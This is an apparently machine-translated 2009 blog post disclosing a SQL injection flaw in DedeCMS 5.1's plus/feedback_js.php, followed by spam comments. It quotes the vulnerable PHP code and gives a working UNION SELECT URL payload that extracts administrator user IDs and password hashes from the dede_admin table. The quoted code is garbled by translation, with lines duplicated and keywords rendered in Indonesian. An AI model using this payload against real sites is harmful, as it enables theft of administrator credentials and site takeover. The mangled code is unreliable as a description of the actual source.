DEDECMS 5,1 feedback_js.php 0day-0day, DEDECMS, DEDECMS 5.1, feedback

DEDECMS 5,1 feedback_js.php 0day

Catatan ini telah diposting pada 11 Oktober 2009

Author: st0p Rainy'Fox
Direproduksi cantumkan sumber: http://www.st0p.org http://bbs.erpangzi.com/

Kerentanan ini ditemukan dan Rainy'Fox juga tersedia dalam kasus magic_quotes_gpc = off

Kerentanan Versi: Artikel Condo 5.1
Ini dapat dimanfaatkan untuk mendapatkan account administrator di latar belakang dan mengenkripsi Hash itu, ada celah berkas plus / feedback_js.php, parameter tanpa filter dari $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (kosong ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Row = $ dlist -> dsql -> GetOne ("id Pilih Dari` # @ __ cache_feedbackurl `mana url = '$ arcurl'");
        / / Di sini $ arcurl saringan tidak
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) $ urlindex = $ row ['id'];
       / / Hadir hasil menempatkan tugas $ urlindex untuk query ke baris $ ['id'], kita dapat membuat pernyataan SQL ke dalam operasi berikut
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (kosong ($ arcID) && kosong ($ urlindex)) exit ();
 / / Jika $ arcID kosong atau $ urlindex keluar kosong
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (kosong ($ arcID)) $ WQ = "urlindex = '$ urlindex'";
 / / $ ArcID kosong, tepat di atas hasil pelaksanaan akan ditugaskan ke $ WQ ke dalam operasi berikut dilakukan.
 = " aid=' $arcID ' " ; lain $ WQ = "aid = '$ arcID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ QueryString = "select * from` # @ __ umpan balik `mana $ wq dan ischeck order = '1 'oleh dtime desc";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ QueryString);
 ......

Lihatlah penggunaan, hei, ditutup saya menggunakan dua serikat

  Sebuah

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'serikat pilih "' dan 1 = 2 serikat pilih 1,1,1, userid, 3,1,3,3, pwd, 1,1,3 , 1,1,1,1,1 dari dede_admin mana 1 = 1 union select * from dede_feedback mana 1 = 2 dan'' = '"dari dede_admin mana'' ='

Sayangnya, bahkan dan Rainy'Fox orang ini untuk menemukan uji target ketika ia benar-benar bisa mengatakan di The magic_quotes_gpc = pada saat melalui .... ide ini terlalu YD .. terlalu mengerikan, untuk benar-benar mencapai hal ini jaringan sektor harus kekacauan, banyak program yang secara default di PHP magic_quotes_gpc tidak aktif, akan memanggil bagian melarikan diri mereka sendiri ... Anda benar-benar dapat mencapai, itu adalah mimpi buruk program PHP ...

Pelajari · Cheats seni bela diri

347 Responses to "DEDECMS 5,1 feedback_js.php 0day"

Dengan хостинг pada Nov 19, 2009 | Reply
Zelo intiresno, Hvala
Dengan AKfour tujuh pada 1 Desember 2009 | Reply
Saya berdiri di sini hari ini terenyak oleh tugas di depan [url = http://www.bawwgt.com] dofus Kamas [/ url], berterima kasih atas kepercayaan Anda telah, sadar bahwa korban ditanggung oleh [url = http:/ kami / www.bawwgt.com] murah dofus Kamas [/ url] Saya berterima kasih kepada Presiden [url. = http://www.bawwgt.com] dofus power leveling [/ url] untuk layanan [url = http://www bawwgt.com]. membeli dofus Kamas [/ url], serta kemurahan hati dan dia telah menunjukkan kerjasama seluruh transisi ini.
Dengan wsewtoexg pada 3 Desember 2009 | Reply
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Dengan tedy pada 5 Desember 2009 | Reply
Hanya 34 hari sebelum DOFUS 2.0 2 Desember! Akan berada di sini sebelum kita tahu [url = http://www.bawwgt.com/fr] dofus Kamas [/ url]. Pada [url = http://www.bawwgt.com / fr] dofus Kamas moins chers [/ url] setiap pemain akan menemukan pengalaman DOFUS sekali baru. [url = http://www.bawwgt.com/fr] acheter des dofus Kamas [/ url] harus puas dengan laporan dan forum. Meski begitu [url = http://www.bawwgt.com/fr] Achat dofus Kamas [/ url], ada ¡ ¯ s selalu beberapa pemain kita tercinta di forum.
Dengan membeli strattera pada 13 Desember 2009 | Reply
ini adalah berita keren. Terima kasih.
Dengan Seengart pada 14 Desember 2009 | Reply
ya ... informatif gaya ..
Dengan Natasha-web pada 16 Desember 2009 | Reply
Vdaka za zaujimavy blog
Dengan ConradSimone pada Mar 8, 2012 | Reply
Nah ini sangat menarik indeed.Would cinta untuk membaca sedikit lebih dari ini. Mengagumi informasi berharga yang Anda tawarkan dalam artikel Anda.
Conrad oleh Simone